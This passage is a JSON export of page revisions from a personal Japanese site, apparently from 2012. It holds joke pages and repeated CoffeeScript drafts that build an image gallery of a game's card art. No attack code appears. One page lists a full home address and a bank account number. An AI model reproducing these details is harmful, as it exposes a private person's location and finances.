only","created_at":"2012-02-10T06:55:02.000Z","updated_at":"2012-02-10T06:55:02.000Z"},{"id":2035,"name":"kure.ssig33.com","body":"title チョコレートくれ!!!\r\n# チョコレートくれ!!!\r\n\r\n## [Amazon ウィッシュリスト経由でチョコレートくれ](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)経由でくれ\r\n\r\n## 発送する場合\r\n160-0023 東京都新宿区西新宿6-25-16ライオンズマンション西新宿第七 608\r\n\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2012-02-10T06:58:57.000Z","updated_at":"2012-02-10T06:58:57.000Z"},{"id":2036,"name":"kure.ssig33.com","body":"title チョコレートくれ!!!\r\n# チョコレートくれ!!!\r\n\r\n## [Amazon ウィッシュリスト経由でチョコレートくれ](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)\r\n\r\n## 発送する場合\r\n160-0023 東京都新宿区西新宿6-25-16ライオンズマンション西新宿第七 608\r\n\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2012-02-10T07:31:16.000Z","updated_at":"2012-02-10T07:31:16.000Z"},{"id":2037,"name":"hatenablog.coffee","body":"coffee\r\nnode = document.querySelector('#header')\r\nnode.parentNode.removeChild node","created_at":"2012-02-16T07:05:42.000Z","updated_at":"2012-02-16T07:05:42.000Z"},{"id":2038,"name":"hatenablog.coffee","body":"coffee\r\n$ -\u003e\r\n node = document.querySelector('#header')\r\n node.parentNode.removeChild node","created_at":"2012-02-16T07:05:57.000Z","updated_at":"2012-02-16T07:05:57.000Z"},{"id":2039,"name":"tonkatsu.ssig33.com","body":"# TONKATSU IS GREAT!!!!!!!\r\n\r\n### tonkatsu.ssig33.com","created_at":"2012-02-21T16:00:17.000Z","updated_at":"2012-02-21T16:00:17.000Z"},{"id":2040,"name":"gyuque.ssig33.com","body":"![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n![gyu](http://gyuque.jpg.to) \r\n","created_at":"2012-02-21T16:09:01.000Z","updated_at":"2012-02-21T16:09:01.000Z"},{"id":2041,"name":"gyuque.ssig33.com","body":"![gyu](http://ushiroad.ssig33.com) \r\n\r\n![gyu](http://ushiroad.ssig33.com) \r\n\r\n![gyu](http://ushiroad.ssig33.com) \r\n\r\n![gyu](http://ushiroad.ssig33.com) \r\n\r\n![gyu](http://ushiroad.ssig33.com) \r\n\r\n![gyu](http://ushiroad.ssig33.com) \r\n\r\n![gyu](http://ushiroad.ssig33.com) \r\n\r\n![gyu](http://ushiroad.ssig33.com) \r\n","created_at":"2012-02-21T16:09:36.000Z","updated_at":"2012-02-21T16:09:36.000Z"},{"id":2042,"name":"gyuque.ssig33.com","body":"\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n\r\n![gyu](http://ushiroad.jpg.to/)\r\n","created_at":"2012-02-21T16:10:18.000Z","updated_at":"2012-02-21T16:10:18.000Z"},{"id":2043,"name":"tonkatsu.ssig33.com","body":"# TONKATSU IS GREAT!!!!!!!\r\n\r\n![とんかつ](http://とんかつ.jpg.to)\r\n\r\n![とんかつ](http://tonkatsu.jpg.to)\r\n\r\n### tonkatsu.ssig33.com","created_at":"2012-02-21T16:11:17.000Z","updated_at":"2012-02-21T16:11:17.000Z"},{"id":2044,"name":"tonkatsu.ssig33.com","body":"# TONKATSU IS GREAT!!!!!!!\r\n\r\n![とんかつ](http://とんかつ.jpg.to)\r\n\r\n![とんかつ](http://豚カツ.jpg.to)\r\n\r\n### tonkatsu.ssig33.com","created_at":"2012-02-21T16:11:43.000Z","updated_at":"2012-02-21T16:11:43.000Z"},{"id":2045,"name":"tonkatsu.ssig33.com","body":"# TONKATSU IS GREAT!!!!!!!\r\n\r\n![とんかつ](http://とんかつ.jpg.to)\r\n\r\n![とんかつ](http://豚カツ.jpg.to)\r\n\r\n![](http://豚の死体.jpg.to)\r\n\r\n### tonkatsu.ssig33.com","created_at":"2012-02-21T16:12:09.000Z","updated_at":"2012-02-21T16:12:09.000Z"},{"id":2046,"name":"tonkatsu.ssig33.com","body":"# TONKATSU IS GREAT!!!!!!!\r\n\r\n![とんかつ](http://とんかつ.jpg.to)\r\n\r\n![とんかつ](http://豚カツ.jpg.to)\r\n\r\n![](http://豚 屠殺.jpg.to)\r\n\r\n### tonkatsu.ssig33.com","created_at":"2012-02-21T16:12:20.000Z","updated_at":"2012-02-21T16:12:20.000Z"},{"id":2047,"name":"tonkatsu.ssig33.com","body":"# TONKATSU IS GREAT!!!!!!!\r\n\r\n![とんかつ](http://とんかつ.jpg.to)\r\n\r\n![とんかつ](http://豚カツ.jpg.to)\r\n\r\n![](http://豚肉.jpg.to)\r\n\r\n### tonkatsu.ssig33.com","created_at":"2012-02-21T16:13:29.000Z","updated_at":"2012-02-21T16:13:29.000Z"},{"id":2048,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003cdiv id='insert_here'/\u003e","created_at":"2012-03-01T02:35:29.000Z","updated_at":"2012-03-01T02:35:29.000Z"},{"id":2049,"name":"数学女子学園/js","body":"coffee\r\nput = (base)-\u003e array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg' \r\n div.appendChild img \r\n \r\nwindow.onload = -\u003e \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000') \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000') ","created_at":"2012-03-01T02:41:24.000Z","updated_at":"2012-03-01T02:41:24.000Z"},{"id":2050,"name":"数学女子学園/js","body":"coffee\r\n\r\nput = (base)-\u003e \r\n array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg' \r\n div.appendChild img \r\n \r\nwindow.onload = -\u003e \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000') \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000') ","created_at":"2012-03-01T02:41:40.000Z","updated_at":"2012-03-01T02:41:40.000Z"},{"id":2051,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003cdiv id='insert_here'/\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e","created_at":"2012-03-01T02:41:58.000Z","updated_at":"2012-03-01T02:41:58.000Z"},{"id":2052,"name":"数学女子学園/js","body":"coffee\r\n\r\nput = (base)-\u003e \r\n array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg' \r\n div.appendChild img\r\n br = document.createElement 'br'\r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000') \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000')","created_at":"2012-03-01T02:42:39.000Z","updated_at":"2012-03-01T02:42:39.000Z"},{"id":2053,"name":"数学女子学園/js","body":"coffee\r\n\r\nput = (base)-\u003e \r\n array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg'\r\n img.style.max-height = '600px' \r\n div.appendChild img\r\n br = document.createElement 'br'\r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000') \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000')","created_at":"2012-03-01T02:44:50.000Z","updated_at":"2012-03-01T02:44:50.000Z"},{"id":2054,"name":"数学女子学園/js","body":"coffee\r\n\r\nput = (base)-\u003e \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg'\r\n img.style.max-height = '600px' \r\n div.appendChild img\r\n br = document.createElement 'br'\r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000') \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000')","created_at":"2012-03-01T02:45:39.000Z","updated_at":"2012-03-01T02:45:39.000Z"},{"id":2055,"name":"数学女子学園/js","body":"coffee\r\n\r\nput = (base)-\u003e \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg'\r\n img.style.max-height = '600px' \r\n div.appendChild img\r\n br = document.createElement 'br'\r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000') \r\n put('http://img.gsujo.forgroove.hcom/img/s3/card/xlarge/20000')\r\n for i in document.querySelectorAll('img')\r\n i.style.height = '500px'","created_at":"2012-03-01T02:46:40.000Z","updated_at":"2012-03-01T02:46:40.000Z"},{"id":2056,"name":"数学女子学園/js","body":"coffee\r\n\r\nput = (base)-\u003e \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg'\r\n img.style.max-height = '600px' \r\n div.appendChild img\r\n br = document.createElement 'br'\r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000') \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000')\r\n for i in document.querySelectorAll('img')\r\n i.style.height = '500px'","created_at":"2012-03-01T02:49:00.000Z","updated_at":"2012-03-01T02:49:00.000Z"},{"id":2057,"name":"数学女子学園","body":"# 数学女子学園\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e","created_at":"2012-03-01T02:56:52.000Z","updated_at":"2012-03-01T02:56:52.000Z"},{"id":2058,"name":"数学女子学園/js","body":"coffee\r\n\r\nput = (base)-\u003e \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg'\r\n img.style.height = '500px' \r\n div.appendChild img\r\n br = document.createElement 'br'\r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000') \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000')","created_at":"2012-03-01T02:57:48.000Z","updated_at":"2012-03-01T02:57:48.000Z"},{"id":2059,"name":"数学女子学園/js","body":"coffee\r\n\r\nput = (base)-\u003e \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg'\r\n img.style.height = '500px' \r\n div.appendChild img\r\n br = document.createElement 'br'\r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000') \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000')\r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000')","created_at":"2012-03-01T02:59:16.000Z","updated_at":"2012-03-01T02:59:16.000Z"},{"id":2060,"name":"数学女子学園/js","body":"coffee\r\n\r\nput = (base)-\u003e \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n img = document.createElement 'img' \r\n img.src = base + i + '.jpg'\r\n img.style.height = '500px' \r\n div.appendChild img\r\n br = document.createElement 'br'\r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e\r\n h2 = document.createElement 'h2'\r\n h2.innerText = 'Normal'\r\n document.querySelector('#insert_here').appendChild(h2) \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000')\r\n h2 = document.createElement 'h2'\r\n h2.innerText = 'R'\r\n document.querySelector('#insert_here').appendChild(h2) \r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000')\r\n h2 = document.createElement 'h2'\r\n h2.innerText = 'R+'\r\n document.querySelector('#insert_here').appendChild(h2)\r\n put('http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000')","created_at":"2012-03-01T03:01:21.000Z","updated_at":"2012-03-01T03:01:21.000Z"},{"id":2061,"name":"数学女子学園/js","body":"coffee put = ()-\u003e bases = [ \r\n {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, \r\n {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} \r\n ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] div = document.querySelector '#insert_here' for i in array \r\n for b in bases h4 = document.createElement 'h4' h4.innerText = b.title div.appendChild h5 \r\n img = document.createElement 'img' \r\n img.src = b.url + i + '.jpg' img.style.height = '500px' \r\n div.appendChild img br = document.createElement 'br' div.appendChild br window.onload = -\u003e put() ","created_at":"2012-03-01T03:05:29.000Z","updated_at":"2012-03-01T03:05:29.000Z"},{"id":2062,"name":"数学女子学園/js","body":"coffee put = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] div = document.querySelector '#insert_here' for i in array for b in bases h4 = document.createElement 'h4' \r\n h4.innerText = b.title \r\n div.appendChild h5 \r\n img = document.createElement 'img' \r\n img.src = b.url + i + '.jpg' \r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e put()","created_at":"2012-03-01T03:06:36.000Z","updated_at":"2012-03-01T03:06:36.000Z"},{"id":2063,"name":"数学女子学園/js","body":"coffee put = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n for b in bases \r\n h4 = document.createElement 'h4' \r\n h4.innerText = b.title \r\n div.appendChild h5 \r\n img = document.createElement 'img' \r\n img.src = b.url + i + '.jpg' \r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e put()","created_at":"2012-03-01T03:07:34.000Z","updated_at":"2012-03-01T03:07:34.000Z"},{"id":2064,"name":"数学女子学園/js","body":"coffee put = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/11000'}, {title: 'Rare', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/20000'}, {title: 'Rare+', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/21000'} ] \r\n array = ['01', '02', '03', '04', '05', '06', '07', '08', '09', 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99] \r\n div = document.querySelector '#insert_here' \r\n for i in array \r\n for b in bases \r\n h4 = document.createElement 'h4' \r\n h4.innerText = b.title \r\n div.appendChild h4 \r\n img = document.createElement 'img' \r\n img.src = b.url + i + '.jpg' \r\n img.style.height = '500px' \r\n div.appendChild img \r\n br = document.createElement 'br' \r\n div.appendChild br \r\n \r\nwindow.onload = -\u003e put()","created_at":"2012-03-01T03:07:49.000Z","updated_at":"2012-03-01T03:07:49.000Z"},{"id":2065,"name":"数学女子学園/mazusou","body":"# 数学女子学園\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/mazusou/js'/\u003e","created_at":"2012-03-01T03:17:16.000Z","updated_at":"2012-03-01T03:17:16.000Z"},{"id":2066,"name":"数学女子学園/mazusou/js","body":"coffee\r\n\r\nfor i in document.querySelectorAll 'img'\r\n i.src = 'http://mazusou.ssig33.com/?url='+encodeURIComponent(i.src)","created_at":"2012-03-01T03:18:14.000Z","updated_at":"2012-03-01T03:18:14.000Z"},{"id":2067,"name":"数学女子学園/mazusou","body":"# 数学女子学園\r\n\u003cdiv id='insert_here'\u003e\u003c/div\u003e\r\n\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/js'/\u003e\r\n\u003cscript src='http://ssig33.com/%E6%95%B0%E5%AD%A6%E5%A5%B3%E5%AD%90%E5%AD%A6%E5%9C%92/mazusou/js'/\u003e","created_at":"2012-03-01T03:18:40.000Z","updated_at":"2012-03-01T03:18:40.000Z"},{"id":2068,"name":"数学女子学園/mazusou/js","body":"coffee\r\n\r\nwindows.onload = -\u003e\r\n setTimeout -\u003e\r\n for i in document.querySelectorAll 'img'\r\n i.src = 'http://mazusou.ssig33.com/?url='+encodeURIComponent(i.src)\r\n , 200","created_at":"2012-03-01T03:19:41.000Z","updated_at":"2012-03-01T03:19:41.000Z"},{"id":2069,"name":"数学女子学園/mazusou/js","body":"coffee\r\n\r\ncoffee put = ()-\u003e \r\n bases = [ {title: 'Normal', url: 'http://img.gsujo.forgroove.com/img/s3/card/xlarge/10000'}, {title: 'Normal+', url: 